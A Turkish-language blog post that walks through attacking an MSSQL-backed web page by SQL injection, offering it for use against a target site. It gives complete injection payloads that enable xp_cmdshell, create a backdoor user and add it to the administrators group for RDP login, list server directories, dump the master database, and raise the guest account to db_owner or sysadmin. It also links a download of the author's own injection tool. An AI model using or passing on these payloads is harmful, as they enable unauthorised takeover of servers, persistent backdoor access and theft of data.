Bu seferki yazımda Sql injection ile MSSQL üzerinde sınırları zorlayacağız. :) örneğin cmdshell komutu üzerinden RDP kullanıcı oluşturma, dosya dizinlerine erişme, ping işlemleri vs.. en önemlisi ise mevcut güvenlik önlemlerini aşarak :) bu işlemleri kolaylıkla yapıyor olmak.
Öncelikle xp_cmdshell yetkisi kontrolü yapalım.
viewdetail.aspx?test=22';EXEC xp_cmdshell 'ping 127.0.0.1';--
SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', see "Surface Area Configuration" in SQL Server Books Online.
şekilde hata alabiliriz. 'xp_cmdshell' için gerekli izinleri verelim ;) aşağıdaki komut satırlarını sırası ile uygulayalım.
viewdetail.aspx?test=22';EXEC sp_configure 'show advanced options',1;RECONFIGURE;--
viewdetail.aspx?test=22';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
gerekli izinler, paremtreler düzenlenmiş oldu. :) hadi hemen RDP kullanıcı açalım. arkasından kullanıcımızı administrator grubuna ekliyelim.
viewdetail.aspx?test=22';exec master..xp_cmdshell 'net user ejder ejder /add';--
viewdetail.aspx?test=22';exec master..xp_cmdshell 'net localgroup administrators ejder /add';--
site üzerinde uyguladığımızda hata döndürmedi ise :) sorunsuz işliyor demektir. şimdi rdp ile bağlanmak için son adım kalıyor. o da CMD üzerinden "ping www.hedefsite.com" yazdığımızda çıkan IP adresine RDP ile bağlanmaktır. Kullanıcı Adı: ejder, şifre: ejder
"xp_cmdshell" üzerinden dilediğimizi yapabiliriz :) sunucu üzerinde "dir c:\" yazıp dosya sistemine erişebilirsiniz. db backup, dosya yaratma vs... Fakat rdp oluşturunca bu kadar kasmaya gerek bile kalmıyacak. herşey elinizin altında olacak :)
örnek;
viewdetail.aspx?test=22';drop table zEj create table zEj(ID int identity,Str varchar(1000)) insert into zEj exec master..xp_cmdshell 'dir /b C:\';--
bu örneğimizde C dizinindeki sonucu , zEj tablosuna yazdırıyorum. ordan datayı okuyup, bilgiye ulaşabiliriz.
Database in backup olarak almak için;
viewdetail.aspx?test=22';BACKUP database master to disk='1.zip';--
"OpenRowset/OpenDatasource" işlemleri için gerekli izin ve paremetrelerin sırası ile çalıştırılması gerekmektedir.
viewdetail.aspx?test=22';exec sp_configure 'show advanced options',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;--
Evet, şimdide Guest hesabı , DB_OWNER olarak değiştirmek :) BUILTIN\ADMINISTRATORS grubuna ekleme işlemi sırasıyla;
viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set sid=0×01,roles=0×01 where name=”guest"','xx' exec sp_executesql N'drop view dbo.test'--
viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name="BUILTIN\ADMINISTRATORS"','xx' exec sp_executesql N'drop view dbo.test'--
Sql injection dökümanı için -> https://docs.google.com/open?id=0ByRFI3ULXVPuTlJZUmlDNVdwMW8
5 sene önce yazdığım Sql injection yazılımı, dökümanı ve anlatım videosu ektedir.. https://rapidshare.com/files/2167494494/SqlInjv2.rar video için ise aşağıdadır.
Öner KAYA